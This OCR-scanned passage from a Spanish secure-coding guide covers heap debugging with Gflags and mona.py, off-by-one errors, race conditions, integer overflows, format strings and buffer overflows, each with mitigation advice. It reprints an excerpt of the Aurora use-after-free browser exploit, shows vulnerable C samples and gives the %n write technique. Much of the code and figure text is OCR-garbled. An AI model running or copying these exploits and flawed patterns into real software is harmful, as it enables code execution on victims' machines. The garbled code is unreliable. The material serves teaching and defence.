VirtAlloc bytes
_HEAP 00250000
Segment=
Feszerved byvtes
Committed bytes
VirtillocBlocks
Virthlloc bytes

ooooonol
nooioo0oo
oooo4000
oooooonoo
oooooooo

ooooonol
nooio0oo
nooo4o000
ooooonoo
oooooooo

goooonol
goolooon
noooz0oo
aoooonon
gooooonon

|D:DD?>|!heap —stat]

Figura 34. 'heap -stat

mas detalladas sobre el handler. Mona.py de Corelan también permite mostrarnos
informacion interesante desde Immunity como por ejemplo las listas lookaside y freelist*

utilizadas por el heap manager.

|!mona heap -t freelist

Figura 35. Mona heap (freelist)

Sin duda alguna, una de las mejores herramientas para analizar memoria dinAmica es
Gflags, incluido dentro del set de herramientas gratuitas de debugging para Windows. Esta
herramienta permite activar ciertas caracteristicas avanzadas de debugging (flags de
debugging) realmente Utiles para el andlisis de software y vulnerabilidades.

“t practical Windows XP/2003 Heap Exploitation

http://www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSAQ09-McDonald-WindowsHeap-PAPER.pdf

42 Common WinDbg Commands: heap

http://windbg.info/doc/1-common-cmds.html#20_memory_heap

3 Heap Debugging (Memory/Resource Leak) with WinDbg

http://hacksoflife.blogspot.com.es/2009/06/heap-debugging-memoryresource-leak-with.html

“  Heaps About Heaps - Presentation

http://hacksoflife.blogspot.com.es/2009/06/heap-debugging-memoryresource-leak-with.html
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Gflags habilita estos flags editando el registro de windows por lo que una vez modificado el
mismo permaneceran activas hasta que se cambien de nuevo desde el propio GUI o se
borre la clave correspondiente.

Global Flags
Los flags utilizados por esta herramienta pueden  syuenregsy | cemelFisgs | image Fie|

configurarse en 3 niveles: system, kernel o image.

[ Show loader snaps [ Enable debugging of Win32 subsystem

En eI pr|me|" CaSO, d |ChOS ﬂags Serian aCthadOS [~ Debug initial command [ Enable loading of kernel debugger symbols
[ Dizable paging of kernel stacks

para todos los procesos del espacio de usuario [~ Enable heap tai checking [~ Ensble system critical brecks

[~ Enable heap free checking [ Dizable heap coslesce on free
m|entraS q ue aq ue”os Conf|g u rados como " | mage [ Enable heap parameter checking [ Enable close exception

[ Enable heap validation on call [ Enable exception logging
file" Unicamente afectardn al ejecutable

[ Enable application verifier [ Enable object handle type tagoing
seleccionado. ™ Enable page hean

[ Enable pool tagging [ Debug WINLOGON

Una de las caracteristicas mas interesantes para
detectar vulnerabilidades de tipo memory leaks o
heap overflow es page heap verification el cual permite monitorizar el proceso de
asignacion de memoria dinamica y detectar asi multitud de problemas.

Figura 36. Gflags GUI

Para poder ver todo el conjunto de flags disponibles, la mejor manera es hacerlo por medio
del GUI (ejecutando gflags sin parametros). En nuestro caso aquellos que cobran especial
interés son los relacionados con el heap manager (marcados en rojo), los cuales, una vez
activados, alertaran mediante una excepciéon cuando detecte algun problema relacionado
con memoria dinamica.

Asi por ejemplo "Enable heap tail checking" y "Enable heap free checking" detectarian
cuando algun bloque de memoria dinamica haya sido sobreescrito, en cuyo caso, lanzara
una excepcién con informacion detallada sobre dicho problema. Estas funcionalidades son
realmente Utiles ya que en muchos casos, cuando un proceso sufre algun problema
relacionado con el heap (por ejemplo debido a un heap overflow) puede que éste continte
Su ejecucion sin experimentar un crash o bien hacerlo en otro momento posterior,
dificultando asi la raiz de dicho problema. La siguiente captura muestra como activar el
standard page heap veriffication para un programa susceptible a un heap overflow
(heapVuinl.exe).

C:AWINDOWSAsystem32%cmd. exe

C=“Archivosz de programa“Debugging Tools for Windows (xB63:gflags ~p senabhle heaplulnl_exe
path: SOFTUWARE“Microsoft*Windows NI“CurrentUersion“Image File Execution Options
heapuyulnl.exe: page heap ena

C:~Archivos de programaDebugging Tools for Windows <(x86)>gflags ~p heaplUulnl.exe
Page heap is enabled for heapUulnl.exe with flags (traces 7

C:“Archivosz de programa~Debugging Tools for Windows (xB6>>_

Figura 37. Gflags /p /enable
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Con el pardmetro /p /enable habilitamos page heap verification. Otra opcién es seleccionar
los flags en concreto que deseamos activar para dicho ejecutable. En este caso podria
ejecutarse por ejemplo: gflags /I heapvulnl.exe +hfc

Donde el /I indica el modo image y el hfc la abreviatura para el flag “enable heap free
checking”. Siguiendo con el ejemplo, si ahora ejecutdramos dicho binario desde el
debugger ntsd obtendriamos la

salida mostrada en la imagen I ntsd -g x heapVuln1.exe
adjunta. EI mensaje “corrupted Wiodiond: 703 5 mealtear
. 9 . . " N HudLuad: ZcB Zc?036008 C:\l-ﬂNDOUS\SysterﬂZ\kEPnE132.dll
SUffIX pattern Indlca que dIChO E—‘;ﬂLEg(ﬂ!éR??‘gyMbul gg‘igsggﬂld El;:ulljgnggﬁ:&(i?s‘:;ggg:?i:f\rtadi)lzpu}-t synbols for ntdl]
ejecutable viol6 los datos de = ﬁécs;;glﬁ): fccess violation — code cBOBPEAS (first chance)
integridad en el heap afadidos

por Gflags. Ademas, Ila
informacion del header incluye la
direccion del heap handler con

el bloque corrupto (016F1000) i St aeion o pie o g v R o e
asi como la direccion de dicho EHEE STy Lty 3 £s-003)  go-0000

bloque (003F4648) y su tamafio.

IGC:~Archivos de programasDebugging Tools for Windows (x86>>ntsd —g —x heaplulnl.exe

Gflags es una herramienta
excelente para localizar y depurar
vulnerabilidades que afectan, entre
otros a memoria dindmica, por lo que se recomienda para detectar este tipo de problemas.
Para informacion mas detallada sobre Gflags puede consultar la documentacion oficial de
Microsoft* donde se detallan varios ejemplos practicos.

Figura 38. Ntsd -g -x heapVulnl.exe

EXPLOIT AURORA

Para ver un ejemplo mas practico sobre este tipo de vulnerabilidad veamos el siguiente
extracto de codigo®, el cual pertenece al conocido exploit Aurora.

La parte interesante de este cddigo radica en la funcion evl y ev2. El cédigo html presenta
un objeto span (spl) que contiene una imagen (aaa.gif) el cual llama a la funcion evl tras
su carga y al que le pasa como parametro una referencia al propio objeto IMG. Desde esta
funcién, la referencia a IMG es asignada a la variable el y posteriormente se libera la
memoaria asignhada al objeto padre (objeto span) spl mediante:

Document.getElementByID(“sp1”).innerHTML = *“”;
Es decir, en este punto, la memoria dinamica asignada a spl se ha liberado, aunque ésta

todavia sigue siendo referenciada por el objeto el. El problema radica en la funcién ev2
cuando se intenta asignar la propiedad de dicho objeto (objeto el) a la variable t.

% Microsoft: Gflags Examples
http://technet.microsoft.com/en-us/library/cc738435(v=ws.10)

“ Analisis del exploit Aurora
http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
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var t = el.srcElement;

El motivo por el que array x1 es
modificado justo antes de realizar
la asignacion a la variable t, es
para ajustar el heap y poder
sobreescribir la zona de memoria
asignada a la variable el con la
que poder alcanzar el shellcode
correspondiente.

Generalmente se emplea
javascript para poder situar el
shellcode en un area predecible de
memoria, al permitir declarar
variables de forma sencilla que
son asignadas en memoria
dinamica. A diferencia de exploits
que se aprovechan de un stack
overflow, conseguir ejecutar
cédigo en el heap suele requerir
mayor destreza por parte del
exploiter debido a la gestion vy
estructuracion de la memoria
dindmica por parte del sistema
operativo.

Instituto Nacional
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<html><script>var sc = unescape(”

004%ulb34

var arr = new Array;

for (var i = 0; i < sss.length; i ++ ){
arr[i] = String.fromCharCode(sss[i]/7):; } var cc=arr.toString():cc=cc.replace(/ ,/ g, ""
1z

cc = cc.replace(/@/g, ","):

eval (cc)
var x1 new Array():
for (i ;1 <200; 1 ++ )¢
x1[i] = document.createElement ("COMMENT") ;
x1[i] .data = "abc"; @ &ﬁﬁ F
) S@ Gr Pfe®

var el = null;
function evl(evt){

ocument .getElenentById(”"spl”) . innerHTHL
window.setInterval (evZ, S50):

¥

function ev2(){

for (i x1.length; IR
x1[i] .data = p;
}

I\lrar t = el.srcElement; l
}

</script><span id="spl"><IMG SRC="aaa.gif"

onload="evl (event) "></span></body></html>

Figura 39. Exploit Aurora (Use After Free)

Esto se complica aln més si existen contramedidas como DEP, el cual evita el uso de nop
sleds con los que alcanzar el shellcode y donde el heap spray debe ser de lo mas preciso
para apuntar exactamente el inicio de la ROP chain.

Para ver una explicacion detallada de este exploit puede consultar el excelente post de
“Grey Corner” titulado “Heap Spray Exploit Tutorial: Internet Explorer Use After Free

Aurora Vulnerability” .

Asimismo, para entender en profundidad el funcionamiento del gestor de memoria dinamica,

48y

se recomienda la lectura de los diversos post “Heap Overflow For Human™” en

net-ninja.com.

4 Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora Vulnerability
http://grey-corner.blogspot.com.es/2010/01/heap-spray-exploit-tutorial-internet.html

8 Heap Overflows For Humans

http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/
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5.2. OFF-BY-ONE

Los errores off-by-one (OBOE), catalogados con el CWE 193, tienen su origen en el calculo
0 en el uso incorrecto de un valor que realmente es inferior o superior en 1 al valor
esperado. Generalmente este tipo de errores se produce por una mala interpretacion del
programador a la hora de contar o acceder a secuencias de datos; por ejemplo, cuando no
se considera el valor de posicion 0 en un array o cuando se itera en un bucle més alla del
namero esperado de veces. Veamos el ejemplo de la siguiente figura:

i JI'nC‘LUdE ‘CSthI.O -h> reot@Meorder:/tmp# gecc off-by-one.c -o
finclude <string.h> off-by-one -fno-stack-protector

root@Mordor:/tmp# .foff-by-one
; . $(python -c "print "\x41*%64")
crash( *param){

st[64];

if (strlen(param)=64) { ESP —

L
("Argumento demasiado largoe");

strcpy(st,param);

-H Al * 64
main ( argc, *argv[]) EBP -
if(largv[1]) EBP 0o
' EIP
crash(argv[1]);
3 Oxfffe

Figura 40. Ejemplo de error "Off By One"

En este caso, si el usuario envia como pardmetro una cadena de longitud igual a 64, la
funcion strcpy afiadird un /0 més alla de los limites del array sobreescribiendo de esta forma
el byte menos significativo de EBP (Frame Pointer®®). El error principal en este caso radica
en la comprobacion de la longitud del argumento param (strlen(param)>64) al considerar la
longitud total del array sin tener en cuenta el null byte. Veamos otro ejemplo:

De forma parecida al anterior, en este caso la condicion del bucle
for (i<=PATH_SIZE) permitir4 escribir un valor mas alla del limite  #define PATH_SIZE 60
del array filename (en la asignacion filename[i] = \0’) al no
considerar que los valores del mismo empiezan desde la posicion
0. Estableciendo como condicién un i<PATH_SIZE evitaremos el  for(i=0; i<=PATH_SIZE; i++) {
error off-by-one.

char filename[PATH_SIZE];

char ¢ = getc();

if (c =="'EOF") {
filename[i] ="\0;
}

filename[i] = getc();

“ The Frame Pointer Overwrite
http://www.win.tue.nl/~aeb/linux/hh/phrack/P55-08
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Este tipo de errores suelen predominar en lenguajes como C y C++ en los que se deja a
merced del programador la comprobacion de los limites de arrays. Aunque generalmente las
consecuencias de este tipo de error acaban en un crash de la aplicacion, pueden ser
aprovechadas® para ejecutar cédigo o eludir restricciones de seguridad en el equipo
vulnerable. Sera fundamental por tanto controlar los limites del array al hacer asignaciones
como las vistas anteriormente. Esto implica, que si se declara un array de 256 elementos,
Unicamente 255 serén los caracteres de la cadena ya que el Gltimo byte es un caracter nulo
para indicar el final de la misma. Si se utiliza la funcién scanf, debe considerarse también
este byte nulo para no leer mas alla de los limites del array, es decir

scanf(“%255s”, &MyArray) en lugar de scanf(“%256s”, &MyArray)

5.3. RACE CONDITION (TOCTOU)

Los errores generados como consecuencia de una condicion de carrera se producen por el
cambio que experimenta el estado de un recurso (ficheros, memoria, registros, etc.) desde
que se comprueba su valor hasta que se utiliza. Este tipo de errores pueden convertirse en
vulnerabilidades serias cuando un atacante puede influir en el cambio de estado entre la
comprobacion y su uso. Generalmente este tipo de problemas suelen darse bien por la
interacciéon entre hilos en un proceso multihilo o bien por la concurrencia de otros
procesos ajenos al proceso vulnerable.

If(taccess(file, W_OK)) {
El MITRE clasifica este tipo de vulnerabilidades con el CWE 367 y modificar_fichero(fich);
presenta algunos ejemplos® practicos que pueden servirnos para }
darnos una idea de sus implicaciones. else { . .

fprint(stderr,”Sin permisos”);

El cddigo adjunto puede significar un problema serio de seguridad
cuando el mismo forma parte de un ejecutable con el bit setuid activado. Antes de acceder al
fichero file a través de la funcion fopen, se comprueba que el usuario tiene permisos
suficientes para escribir con access(). Si un usuario pudiera cambiar el fichero file después
de la llamada a access() (por ejemplo, con un enlace simbdlico a otro fichero), el atacante
podria llegar a escribir sobre un fichero del cual no tiene permisos, ya que ambas funciones,
access y fopen, trabajan sobre nombres de ficheros en lugar de manejadores de ficheros.
Un ejemplo muy similar a este se detalla en el post “Exec race condition exploitations”*
de Stalkr, en este caso haciendo uso de readlink y execve.

if (readlink ("/proc/self/exe", buf, sizeof (buf)) < 0) returnl;
char *args[] = { buf, "1", 0 };
if (execve(args[0], args, 0) < 0) returnl;

® gecurityTube: Off By One Vulnerability

http://www.securitytube.net/video/1928
' CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
http://cwe.mitre.org/data/definitions/367.html
Exec race condition exploitations
http://blog.stalkr.net/2010/11/exec-race-condition-exploitations.html
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En un ejecutable con el bit setuid activado, un atacante podria explotar este bug
modificando el valor del enlace simbdlico una vez se ejecute el programa pero antes de la
llamada a readlink.

Se recomienda la lectura de la presentacién “Secure Coding in C and C++ Race
Conditions” ** de Robert C. Seacord y David Svoboda (cert.org), donde se explican las
diversas condiciones que pueden desembocar en un race condition ademas de mostrar
buenas practicas de programacién para mitigar este tipo de problemas. Una de estas
medidas, denominada exclusiéon mutua® suele emplearse cuando se utiliza programacion
concurrente, y donde es necesario evitar el uso simultaneo de determinados recursos. Una
de las técnicas utilizadas para llevar a cabo esto es deshabilitar las interrupciones durante la
ejecucion del recurso susceptible de sufrir una condicion de carrera. Funciones atémicas®
como EnterCriticalRegion() o pthread_mutex_lock() son algunos ejemplos de funciones
gue no pueden ser interrumpidas hasta su finalizacion.

Una de los temas en los que hay que

Slmple File Lock Function prestar especial atencién es el uso de
_ Lock () and unlock () are passed enla(_:,es S|mb9I|cos asi como la
int lock(char *fn) ({ the name of a file that serves as the gestion de ficheros (sobre todo

int £4; shared lock object ficheros temporales) de forma segura

int sleep time = 100; . X
= para prevenir problemas como los vistos

while (((fd=open (fn,0 WRONLY|O EXCL|O CREAT,0)) == -1) ’ }
£5 errno == EEXIST) { en los ejemplos anteriores.
usleep (sleep time) ;
sleep_time *= 2; Mediante el uso de file locking® asi

if (sleep time > MAX SLEEP) sleep time = MAX SLEEP;
}

return fd;

como la correcta identificacion de
ficheros con funciones como fstat()

} (aplicada a descriptores y no nombres)

void unlock (char *fn) { puede servir como buena medida de
if (unlink(fn) == -1) erx(l, "file unlock®); mitigacion para gran cantidad de

J problemas.

Gent | s Ikt | Cormgiei 4 A diferencia de vulnerabilidades de tipo
Figura 41. Simple File Lock Function (www.cert.org) buffer overflow, las condiciones de

carrera suponen un tipo de vulnerabilidad
de compleja comprension, dificil de detectar y que generan multitud de falsos
positivos/negativos en herramientas de analisis estatico. Por este motivo, deben ser
cuidadosamente controladas por primitivas de sincronizacion y funciones seguras que
restrinjan correctamente el uso de recursos compartidos.

8 Secure Coding in C and C++ Race Conditions

www.cert.org/confluence/download/attachments/26017980/09+Race+Conditions.pdf
Wikipedia: Mutual Exclusion

http://en.wikipedia.org/wiki/Mutual_exclusion

Wikipedia: Linearizability

http://en.wikipedia.org/wiki/Linearizability

Wikipedia: File Locking

http://en.wikipedia.org/wiki/File_locking
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5.4. INTEGER OVERFLOW

Los errores de tipo Integer Overflow®” generalmente suceden al intentar almacenar un valor
demasiado grande en la variable asociada generando un resultado inesperado (valores
negativos, valores inferiores, etc.). Este tipo de error puede tener consecuencias graves®
cuando el valor que genera el integer overflow es resultado de alguna entrada de usuario (es
decir, que puede ser controlado por el mismo) y cuando, de este valor, se toman decisiones
de seguridad, se toma como base para hacer asignaciones de memoria, indice de un array,
concatenar datos, hacer bucles. etc.

Al igual que cualquier tipo de variable, los nUmeros enteros tienen un limite de tamafio. En
este caso, generalmente este tamafo serd el mismo que el utilizado por los punteros de
dicha arquitectura; es decir que en el caso de contar con una arquitectura de 32 bits, el
entero podra almacenar un total de 2°2 - 1 = 4.294.967.295 valores.

A diferencia de otros tipos de vulnerabilidades, y aunque los desbordamientos de entero son
dificiles de explotar al no producir una sobreescritura directa de memoria (ocasionando
generalmente un DOS), en ocasiones es posible ejecutar codigo. Este ha sido el caso de
vulnerabilidades como CVE-2001-0144>° en SSH1 y que permitiria a un atacante ejecutar
cédigo arbitrario con los privilegios del servicio ssh; o algunos mas recientes como CVE-
2011-2371 en Mozilla Firefox® . Haciendo una busqueda en Google con el siguiente dork:

site:exploit-db.com “integer overflow”

podemos hacernos una idea de la cantidad de exploits disponibles que hacen uso de este
tipo de vulnerabilidad.

Como se coment6 anteriormente, generar un integer overflow es tan facil como superar el
valor maximo permitido, es decir, que en caso de contar con 2 unsigned integer, X e y, Si
hacemos lo siguiente:

X = OXFfffffff

y= 0x5

Z=X+y

obtendriamos un valor diferente al esperado, en este caso 4 ya que, de acuerdo con el ISO
C99°* (secciodn 6.25):

57

CWE-190: Integer Overflow or Wraparound
http://cwe.mitre.org/data/definitions/190.html

Integer Security
http://www.codeguru.com/cpp/sample_chapter/article.php/c11111/Integer-Security.htm
SSH CRC32 attack detection code contains remote integer overflow
http://www.kb.cert.org/vuls/id/945216

Mozilla Firefox Array.reduceRight() Integer Overflow Exploit
http://www.exploit-db.com/exploits/17974/

INT30-C. Ensure that unsigned integer operations do not wrap
https://www.securecoding.cert.org/confluence/display/seccode/INT30-
C.+Ensure+that+unsigned+integer+operations+do+not+wrap
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“A computation involving unsigned operands can never overflow, because a result
that cannot be represented by the resulting unsigned integer type is reduced modulo
the number that is one greater than the largest value that can be represented by the
resulting type.”

En este caso, ya que el mayor numero representado por un unsigned integer es Oxffffffff, el
compilador llevaria a cabo la siguiente operacion:

(X+Y) mod (Oxffffffff + 1) - 0x100000004 mod 0x100000000 = 4

Veamos un ejemplo mas practico. La siguiente captura representa una vulnerabilidad de tipo
integer overflow en el Framework .NET para las versiones 2.0, 3.0, 3.5 y 4 descubierta por
Yorick Koster en 2011. La vulnerabilidad radica en alguno de los constructores de la clase
EncoderParameter, el cual se encarga de reservar memoria dinamica en funciéon de los
parametros recibidos para posteriormente copiar datos en la misma.

Estos admiten como parametro uno o mas arrays, de forma que, para calcular, en bytes, la
cantidad de memoria dindmica (heap allocation) necesaria para almacenar los datos,
multiplican el tamafio del array por el numero de miembros en el mismo. El problema se
encuentra en que no se hace ningan tipo de comprobacion sobre el tamafio de dichos
arrays, por tanto, introduciendo 4 arrays de enteros lo suficientemente grandes, pueden
producir un DoS de la aplicacion.

El siguiente extracto® muestra la clase EncoderParameter vulnerable. Como se observa,
para calcular el nUmero de bytes necesarios para asignar memoria dinamica, se multiplicara
el numero de miembros del primer array (numeratorl) por 16 (4 veces el tamafio de un
entero de 32 bits). Sin embargo, no se comprueba que los elementos del array se
encuentran en el rango permitido, Gnicamente se revisa que los 4 arrays tengan la misma

longitud.
public EncoderParameter(Encoder encoder,
int[] numeratorl, int[] denominatorl,
int[] numerator?, int[] denaminator?)
{
this.parameterGuid = encoder.Guid;
if (numeratorl.length != denaminatorl.length ||
numeratorl.lLength !'= denaminator?.length ||
denominatorl.length !'= dencminator2.length)
{
thros Safellativelethods .Gdip.5tatusException(2);
}
else
{
this.parameterValueType = §;
this.number0fValues = numeratorl.Length;
int num = Marshal.SizeOf (typeof (int));
this.parameterValue = Marshal.AillocHGlobal (this.numberOfValues * 4 #
num ) ;
if (this.parameterValue == IntPtr.Zero)
throw SafellativelMethods .Gdip.5tatusException(3);
}
else
{

Figura 42. Integer overflow
2 NET Framework EncoderParameter Integer Overflow Vulnerability

http://www.exploit-db.com/exploits/18777/ Framework .NET
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namespace EncoderParameter(rash

La prueba de concepto creada por Yorick |

Koster muestra como generando un array lo jretic class frash
suficientemente  grande (intentando L R
reservar 4GB de memoria) produce un _ _
. . . ., [int[] largefrray = new int[9x10000000]; | ]
clerre IneSperadO de Ia. apllcaclon EncoderParameter crash = new EncoderParameter(Encoder.Quality,

largelrray, largelrray, largelrray, largelrray);

'

Este tipo de vulnerabilidades pueden ser rigyra 43. Figura 17. Integer overflow en el Framework .NET
detectadas mediante herramientas de

analisis estatico o bien desde un enfoque black box (generalmente mediante fuzzers)
aungue en este Ultimo caso suele resultar complejo deducir el tipo de vulnerabilidad
encontrada. La mejor manera de combatir este tipo de errores, al igual que el resto de
vulnerabilidades, es asegurando que los valores de entrada (aquellos que pueden ser
modificados por el usuario) se encuentran dentro del rango de valores permitidos. Se
recomienda también utilizar unsigned integers siempre que sea posible al resultar mas facil
el control de estos valores.

Asimismo, se recomienda utilizar bibliotecas o frameworks que tengan un control estricto
sobre las operaciones numéricas asi como su almacenamiento y que permitan prevenir los
posibles overflow sin generar valores inesperados. Ejemplo de ello es IntegerLib® para Cy
C++, libreria desarrollada por CERT/CC que proporciona un conjunto de funciones libres de
problemas tipicos relacionados con enteros como: desbordamiento de enteros, errores de
signo, etc.

Para méas informaciéon sobre este tipo de vulnerabilidades se recomienda la Phrack 60
“Basic Integer Overflows™ donde se detallan en profundidad ejemplos reales explotables
aprovechando una mala praxis con el uso de enteros.

 INTO3-CPP. Use a secure integer library
https://www.securecoding.cert.org/confluence/display/cplusplus/INTO3-CPP.+Use+a+secure+integer+library
% Basic Integer Overflows (Phrack 60)
http://www.phrack.com/issues.html?issue=60&id=10
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5.5. FORMAT STRING

Durante el disefio de un programa puede resultar util permitir que un usuario introduzca
datos de entrada para posteriormente ser mostrados por pantalla. En algunos lenguajes de
programacion se debe identificar el tipo de dato que se desea mostrar, de forma que el
programador debera describir si el dato a mostrar va a ser en hexadecimal, un caracter, un
string, un nimero entero, un namero real, etc.

Es en este tipo de lenguajes donde un programador podria no definir el tipo de dato a
mostrar durante la declaracién de la funcion encargada de dicha tarea, siendo ésta
vulnerable a una explotacion de tipo format strings. El principal problema para detectar estas
vulnerabilidades residia en que el compilador solo notificaba al programador si la funcién
empleaba menos pardmetros de entrada de los estrictamente necesarios para su
funcionamiento. Este comportamiento ha sido modificado en las Ultimas versiones de los
compiladores indicando al programador un mensaje de advertencia por los riesgos que
supone la forma en que ha declarado la funcién.

Por ejemplo el compilador GCC muestra el siguiente mensaje de advertencia:
warning: format not a string literal and no format arguments

Con objetivo de entender de forma més sencilla el funcionamiento de los ataques format
strings se mostrard el siguiente cddigo en C donde se solicita al usuario que introduzca una
cadena de entrada para posteriormente ser mostrada:

Correcto.c:

#include <stdio.h>

int main(void) {
char texto[30];
scanf(“%29s”, texto);
printf(“%s”, texto);
return O;

}

Como se muestra en negrita el usuario ha especificado que la variable “texto” sera mostrada
como de tipo cadena de caracteres (string). Si en vez del cAdigo anterior el programador
hubiera omitido especificar el tipo de dato a mostrar mediante la sintaxis “%s” el cddigo
presentaria una vulnerabilidad de tipo format string:

Vulnerable.c:

#include <stdio.h>

int main(void) {
char texto[30];
scanf(“%29s”, texto);
printf(texto);
return O;
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Si se realiza una prueba béasica se vera que aparentemente el comportamiento es el mismo
y no hay diferencia entre ambos codigos:

$ ./correcto
ejemplo
ejemplo

$ ./vulnerable
ejemplo
ejemplo

Pero si en vez de introducir texto se introducen “format strings” como pueda ser “%x”, “%d”,
"%n”, estariamos ante una vulnerabilidad que permite leer zonas de memoria y modificarlas:

$ ./correcto
%X_%X_%Xx_ %X
%Xx_%x_%x_%x

$

$ ./vulnerable

%X_%Xx_%Xx_ %X
712303b0_71230400_6bcach9e f3f43fb8
$

Nota: se ha usado el caracter

7 como un separador de facil visualizacion.

La funcién vulnerable ha permitido mostrar ciertos valores hexadecimales que se
corresponden con los datos de la pila del programa. Para comprender de forma mas sencilla
lo ocurrido vamos anadir una serie de variables previas a la llamada de la funcién “printf”:

#include <stdio.h>

int main(void){
char texto[30];
inta=1;
intb=2;
intc=3;
scanf(“%29s”, texto);
printf(texto);
return O;

}

Ahora se ejecutara de nuevo el programa llevando a cabo el mismo tipo de ataque donde se
mostraran los valores asociados a las variables “a, b, ¢” declaradas en el programa:

$ ./vulnerable
%x_%x_%x_%x_%x_%X_%x_%X ... _%Xx
*** stack smashing detected ***: ./vulnerable terminated

bffff518_bffff508_8048378 b7ff1030_8049ff4_ bffff538 3 2 1 255(7825 Aborted
$
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Como se observa en la salida, se ha conseguido tener acceso a los valores de la pila y por
tanto al contenido de las variables. Asimismo, se ha producido un error durante la ejecucién
del programa indicando que la funcién “main” esta leyendo datos de la pila por debajo de la
declaracion de la propia funcion. Esto es debido a la proteccion “Stack-Smashing
Protector” o SPP de las ultimas versiones de GCC que impiden la manipulacion o lectura de
datos de la pila que no sean estrictamente las variables declaradas en la funcion. Se puede
desactivar mediante la opcién “-fno-stack-protector”:

$ gcc -fno-stack-protector vulnerable.c -o vulnerable
$ ./vulnerable

%d_%d_%d_%d_%d_%d ... _%d

Segmentation fault

$

En caso de desactivar la proteccion es el propio sistema operativo quien detiene la ejecucion
del programa al detectar que un proceso intenta leer datos de memoria que no estan
asignados al espacio de memoria del proceso.

En ambos casos se produce la detencion del programa y por tanto la denegacion del
servicio del proceso. Si analizamos lo sucedido con el debugger GDB veremos como lo que
se estd mostrando es el contenido de la pila hasta que las protecciones detectan el intento
de acceder a posiciones de memoria mas altas de las asignadas a la funcién “main”:

$ gcc -g vulnerable.c -o vulnerable
$ gdb -q vulnerable

(gdb) list

#include <stdio.h>

int main(void)
{
char texto[20];
inta=1;
intb=2;
intc=3;
scanf(“%29s”, texto);
10 printf(texto);
(gdb) break 10
Breakpoint 1 at 0x80484d6: file vulnerable.c, line 10.
(gdb) run
Starting program: vulnerable
%x_%x_%Xx_%x_%X_%x_%X_%x_%x_%x_%x_%x

O©CO~NOUIEAWNPE

Breakpoint 1, main () at vulnerable.c:10

10 printf(texto);

(gdb) x/32xw $esp [Valores de la pila antes de ejecutar printf]
Oxbffff4f0: 0x080485c0 O0Oxbffff518  Oxbffff508  0x08048378
Oxbffff500:  Oxb7ff1030 0x08049ff4 Oxbffff538  0x00000003
Oxbffff510: ~ 0x00000002 0x00000001 0x255f7825 0x78255f78
Oxbffff520:  Ox5f78255f Ox255f7825 O0x78255f78 0Ox5f78255f
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Oxbffff530:  0x255f7825 0x00000078 Oxbffff5b8 O0xb7e8bbd6

Oxbffff540: 0x00000001 Oxbffff5e4 Oxbffff5ec Oxb7fe1858

Oxbffff550: Oxbffff5a0 OxffffffffOxb7ffeff4 0x0804829c

Oxbffff560: ~ 0x00000001 Oxbffff5a0 0xb7ff0626  Oxb7fffabO

(gdb) continue

Continuing.

*** stack smashing detected ***: vulnerable terminated [El programa es detenido]

tée muestran los valores de la pila hasta que las protecciones impiden seguir mostrando mas
datos]

bffff518 bffff508_8048378_b7ff1030_8049ff4 bffff538_3 2 1 255f7825

Program received signal SIGABRT, Aborted.

Hasta ahora se ha descrito como se puede producir una fuga de informaciéon y una
denegacion de servicio pero también podria modificar cualquier posicion de memoria
mediante este tipo de ataques empleando para ello “%n”.

Este format string permite escribir en memoria el nimero de caracteres mostrado por
pantalla, siendo la direccion de memoria la indicada por los siguientes 4 bytes de la pila, y tal
como se ha visto anteriormente, un atacante puede desplazarse por la pila hasta la posicion
que desee. En este caso el atacante se desplazara hasta la primera posicion del bufer
donde habra escrito la direccién de la pila que desea sobreescribir.

Por ello la metodologia llevada a cabo por un atacante seria introducir como valor de
entrada una serie de elementos en el orden que se mostrara a continuacion, para acabar
sobreescribiendo la direccion de memoria con el valor deseado:

1. Direccién de memoria que se desea sobreescribir en little endian “XxGH\XEF\xCD\xAB”.

2. Se muestran tantos caracteres como valor se desea escribir en la direccion de memoria
empleando la codificacion “%.[numero_caracteres]d”.

3. Desplazamos hasta el bufer donde se escribio la direccion empleando para ello “%d”. Se
descontara al punto dos tantos caracteres como los mostrados en el punto tres.

4. Se finaliza con “%n” donde se escribird el numero de caracteres mostrados en la
posicién de memoria indicada en el punto uno.

Para ver un caso practico de un format string asi como sus implicaciones se recomienda el
post “Exploiting Sudo format string vunerability“® de Vnsecurity donde se detalla como
explotar el CVE-2012-0809 en sudo 1.8 (debug mode) eludiendo FORTIFY_SOURCE,
ASLR, NX y Full RELRO.

% Exploiting Sudo format string vunerability
http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/
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5.6. BUFFER OVERFLOW

Sin lugar a duda uno de los mejores papers que describen las vulnerabilidades de tipo buffer
overflow (o buffer overrun) son “Smashing The Stack For Fun And Profit”® recogido en
la Phrack 49 y “Smashing the stack in 2010”°%" de Andrea Cugliari y Mariano Graziano.

Este tipo de vulnerabilidades son bien conocidas desde los afios 80, no obstante, hoy en
dia, siguen siendo uno de los errores de programacién mas tipicos y explotados. La
facilidad con la que es posible localizar y aprovecharse de este tipo de vulnerabilidades para
inyectar un payload (véanse los tutoriales de Corelan®) en el espacio de direcciones del
proceso es uno de los motivos de su “éxito”. Como vimos en el punto 4.1 el uso de
herramientas como mona.py hacen realmente facil localizar y construir exploits a medida
siempre y cuando exista espacio suficiente para alojar el payload deseado y siempre que se
puedan eludir contramedidas como ASLR, SEHOP, stack cookies, DEP, etc.

Este tipo de errores generalmente se producen por una incorrecta validacion en los limites
de un array produciendo la sobreescritura de valores en el stack (variables locales, EBP,
RET address, etc.). Los errores de tipo off-by-one vistos anteriormente son, de hecho, un
caso concreto de buffer overflow. Algo tan simple como el siguiente coédigo puede generar
un buffer overflow:

char direccion[24];
printf(“Introduzca su direccion y pulse <Enter>\n”);
gets(direccion);

y la consiguiente ejecucion de cédigo si el mismo no ha sido compilado con ciertas medidas
de seguridad (/GS, -fstack-protector, etc). Funciones como gets(), strcpy(), strcat(),
sprintf(), scanf(), sscanf(), fscanf(), vfscanf(), vsprintf, vscanf(), deben ser por tanto evitadas
ya que no hacen ningun tipo de comprobacién sobre la longitud de sus argumentos.

Es decir, que o bien se hace un chequeo previo de los parametros pasados a este tipo de
funciones, por ejemplo:
if(strIn(then) >= destino)

o bien se debe usar alguna alternativa algo més segura. Por ejemplo en el caso de strcpy()
